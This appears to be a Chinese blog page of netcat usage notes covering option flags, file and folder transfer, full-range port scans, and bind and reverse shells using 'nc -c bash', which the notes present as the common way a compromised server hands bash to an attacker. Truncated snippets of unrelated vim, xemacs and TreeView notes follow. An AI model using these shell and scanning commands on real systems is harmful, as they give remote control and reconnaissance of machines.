nc使用筆記

2021-10-07 08:31:31 字數 1240 閱讀 4235

-g《閘道器》 設定路由器躍程通訊網關,最多可設定8個。

-g《指向器數目》 設定**路由指向器,其數值為4的倍數。

-i《延遲秒數》 設定時間間隔,以便傳送資訊及掃瞄通訊埠。

-l 使用監聽模式,管控傳入的資料。

-n 直接使用ip位址,而不通過網域名稱伺服器。

-o《輸出檔案》 指定檔名稱,把往來傳輸的資料以16進製制字碼傾倒成該檔案儲存。

-p《通訊埠》 設定本地主機使用的通訊埠。

-r 《埠》指定本地與遠端主機的通訊埠。

-u 使用udp傳輸協議。

-v 詳細輸出–用兩個-v可得到更詳細的內容

-w《超時秒數》 設定等待連線的時間。

-z 使用0輸入/輸出模式,只在掃瞄通訊埠時使用。

表面資訊傳遞

service:nc -l -p 3333(偵聽3333埠)

client:nc -nv 192.168.43.1 3333(連線service的3333埠)

可用於兩台linux的資訊傳遞,比如

接收端:nc -l -p 3333 > ps.txt(將內容輸出到ps.txt)

傳送端:ps -ef |nc -nv 192.168.43.1 3333 -q 1 (將內容傳遞後隔一秒退出)

a偵聽,b連線後傳送檔案

a:nc -lp 3333 > 1.mp4

b:nc -nv 192.168.43.1 3333 < test.mp4 -q 1

a偵聽並準備傳送檔案,b連線後直接接收檔案

a:nc -lp 3333 < test.mp4 -q 1

b:nc -nv 192.168.43.1 3333 > 1.mp4

傳遞資料夾:a向b傳資料夾

a:tar -cvf - my_code/ | nc -lp 8888 -q 1

b: nc -nv 192.167.43.1 8888 | tar -xvf -

掃瞄tcp:nc -nvz 192.168.43.1 1-65535

掃瞄udp:nc -nvzu 192.168.43.1 1-65535

a把控制權給b

a:nc -lp 3333 -c bash

b:nc- nv 192.168.43.1 3333

或者a作為被攻擊的伺服器向b移送bash(常用)

a:nc -nv 192.168.43.1 3333 -c bash

b:nc -lp 3333

後面加 --ssl,即為加密傳輸。

Vim 使用筆記

set hlsearch set nohlsearch 搜尋後清除上次的加亮 nohl nohlsearch 拷貝 很有用的一句話,規定了格式選項,讓它換行不自動空格 set formatoptions tcrqn set fo r set noautoindent 再 shift insert 正...

xemacs使用筆記

xemacs使用筆記 xemacs emacs的下一代,由lucid原創 from debian參考手冊.由於不知道什麼時候刪掉了emacs的乙個重要檔案.每次都沒法安裝好.突然發現了xemacs,於是決定使用看看.本人還是菜鳥,僅供交流 我使用的ubuntu系統,所以就直接apt get inst...

TreeView使用筆記

treeview由節點構成,建樹通過對treeview.items屬性進行操作。items是乙個ttreenodes物件,這是乙個ttreenode集。一 針對ttreenodes,也就是 treeview.items,有這些屬性 1 count,節點個數。2 item index 通過index得...